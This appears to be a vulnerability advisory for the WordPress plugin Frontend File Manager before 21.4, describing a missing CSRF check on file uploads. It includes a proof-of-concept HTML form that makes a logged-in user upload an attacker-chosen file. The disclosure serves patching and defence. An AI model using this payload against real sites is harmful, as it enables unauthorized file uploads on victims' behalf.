WordPress Plugin Vulnerabilities

Frontend File Manager < 21.4 - File Upload via CSRF

Description

The plugin does not have CSRF check when uploading files, which could allow attackers to make logged in users upload files on their behalf

Proof of Concept

<form action="https://example.com.com/wp-admin/admin-ajax.php?action=wpfm_upload_file" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" value="">
    <input type="text" name="_file" value="payload.pdf">
    <input type="submit" name="submit" value="submit">
</form>

The file won't show up via the frontend/backend, but will be uploaded in the user folder (ie in wp-content/uploads/user_uploads/<usernname>/payload.pdf)